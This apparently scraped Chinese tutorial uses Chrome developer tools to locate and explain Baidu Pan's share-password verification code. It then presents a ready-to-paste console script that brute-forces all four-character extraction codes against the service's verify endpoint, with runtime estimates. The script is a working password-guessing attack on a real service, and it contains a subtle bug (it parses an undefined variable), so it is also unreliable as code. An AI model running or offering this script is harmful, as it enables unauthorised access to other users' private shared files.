首页 > 代码库 > 开发者工具使用实例

开发者工具使用实例

开发者工具使用实例

1、查找事件执行函数

举例

F12打开控制台

在 chrome 的控制台的Element选项卡面板里右侧面板有个 Event Listeners,这里会显示你所选择元素的原生事件。原生事件就是元素上直接onclick="xx"等,如下图。

显示是按事件类型显示的,此处是标准事件click,展开后就是在哪些元素上绑定的,同一行后面超链接可以在Sources选显卡里定位处理过程。这个Dom事件模型要了解。然后紫色的handler就是处理函数,光标在上面就会显示出来。

下面来寻找百度云的那里按钮的处理函数。

右键菜单-Inspect element自动打开开发者控制台并定位在Element选项卡dom树里元素的位置。

在弹出的Elements选项卡右侧面板选择Event Listeners,可以看到click的事件是通过元素id为submitBtn的标签为a来触发的。直接点击挂钩元素后的超链接或者找到handler,在上面右键鼠标选择"Show Function Definition"菜单,来打开处理函数。Js代码本来本来就是让人看到的,只要不是写的太挫就行。。。

 

2、分析

美化展开如下(使用了Jquery库):

// JavaScript source code

var requestToken = function () {

var A = $("#accessCode").attr("value"),//2222

    C = $("#ycode").val(),//""

    B = $(".pickcode img:first").attr("verify"),//undefined

    _ = function () {

     //语法 jQuery.post(url, data, success(data, textStatus, jqXHR), dataType)

     $.post(disk.api.RestAPI.VERIFY_SHARE + location.search + "&t=" + (new Date().getTime()), { pwd: A, vcode: C }, function (A) {

     //请求成功时执行的回调函数。

     var _ = null;

     try {

     _ = $.parseJSON(A);

     } catch (B) {

     }

     if (_ != null && _.errno == -62) {

     $(".ac-close").addClass("ac-open").removeClass("ac-close");

     $("#tip").css("display", "block").text("(\u5bc6\u7801\u9519\u8bef)");//密码错误

     verifyCodeLoad();

     } else {

     if (_ != null && (_.errno == -19 || _.errno == -63)) {

     $(".ac-close").addClass("ac-open").removeClass("ac-close");

     $("#tip").css("display", "block").text("(\u9a8c\u8bc1\u7801\u9519\u8bef)");//验证码错误

     verifyCodeLoad();

     } else {

     if (_ != null && _.errno == -9) {

     $("#tip").css("display", "block").text("(\u5bc6\u7801\u9519\u8bef)");//密码错误

     } else {

     if (_ == null || _.errno !== 0) {

     $("#tip").css("display", "block").text("(\u5bc6\u7801\u9519\u8bef)");//密码错误

     } else {

     location.assign("/share/link" + location.search);

     }

     }

     }

     }

     });

    };

if (A.length == 0) {

$("#tip").text("(\u8bf7\u8f93\u5165\u63d0\u53d6\u5bc6\u7801\u518d\u63d0\u4ea4)").show();//请输入提取密码再提交

return false;

} else {

if (B == "verify" && C.length == 0) {

$("#tip").text("(\u8bf7\u8f93\u5165\u9a8c\u8bc1\u7801)").show();//请输入验证码

return false;

} else {

$("#tip").css("display", "none");

_();//发送请求

}

}

A = A.toLowerCase();

}

 

看看id为accessCode的元素,Console选项卡里输入$("#accessCode")回车,光标移动到结果上显示位置,如图。

function cookie_delete(name) //删除cookie

{

var exp = new Date();

exp.setTime(exp.getTime() - 1);

var cval = cookie_get(name);

if (cval != null) document.cookie = name + "=" + cval + ";expires=" + exp.toGMTString();

}

 

 

function cookie_get(name) //读取cookie

{

var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");

if (arr = document.cookie.match(reg))

return unescape(arr[2]);

else

return null;

}

 

3、测试

对于某ID

有时喜欢使用短地址http://pan.baidu.com/s/1eQzPrjk,即

由于这个测试地址失效重新换了一个,输入一个提取码测试,如下返回结果。其中,返回了一个Set-Cookie,即BDCLND(大概就是百度云盘标识),每次成功都会改变。只要这个cookie存在关闭浏览器重新打开分享的地址就无需输入了,但是根据这个cookie时间貌似很长啊,一个月。

4、代码枚举

如果直接在控制台执行提取码枚举:

(function pwd_enumeration() {

var fixed_url = disk.api.RestAPI.VERIFY_SHARE + location.search + "&t=",

letterTable = "0123456789abcdefghijklmnopqrstuvwxyz",

data_vcode = "",

data_pwd,

post_url;

var pwd_idx0 = 0, pwd_idx1 = 0, pwd_idx2 = 0, pwd_idx3 = 0, maxidx = letterTable.length;

var pwd_enumeration_run = function () {

post_url = fixed_url + (new Date().getTime());

data_pwd = letterTable.charAt(pwd_idx0) + letterTable.charAt(pwd_idx1) + letterTable.charAt(pwd_idx2) + letterTable.charAt(pwd_idx3);

$.post(post_url, { pwd: data_pwd, vcode: data_vcode },

function (data) {

var _ = null;

try {

_ = $.parseJSON(A);

 

} catch (e) {

}

if (null != _ && 0 == _.errno) {

console.log(data_pwd);

} else {

if (++pwd_idx3 >= maxidx) {

pwd_idx2++;

pwd_idx3 = 0;

}

if (pwd_idx2 >= maxidx) {

pwd_idx1++;

pwd_idx2 = 0;

}

if (pwd_idx1 >= maxidx) {

pwd_idx0++;

pwd_idx1 = 0;

}

if (pwd_idx0 < maxidx) {

setTimeout(pwd_enumeration_run, 1);

} else {

console.log("ends without pwd found.");

}

}

}

);

};

setTimeout(pwd_enumeration_run, 1);

})();

 

5、评估

如果此时打开,当上千条时就会很卡。。。不建议打开了。平均60ms一次,如果36^4 * 60ms = 100776960ms = 1679.616min = 27.9936h,最坏大约28小时,此页面的控制台进程内存也在涨。估计这个太不值得了,就为了一个提取码。如果纯数字就容易些,最坏10分钟。

在Task Manager(Shift+ECS)可以看到是否一直在执行。

 

 6、

<textarea id="runcode"></textarea >

<input onclick="runEx(‘runcode‘)" type="button" value="http://www.mamicode.com/运行代码">

function runEx(cod1) { cod=document.getElementById(cod1) var code=cod.value; if (code!=""){ var newwin=window.open(‘‘,‘‘,‘‘); newwin.opener = null newwin.document.write(code); newwin.document.close(); } }

 

开发者工具使用实例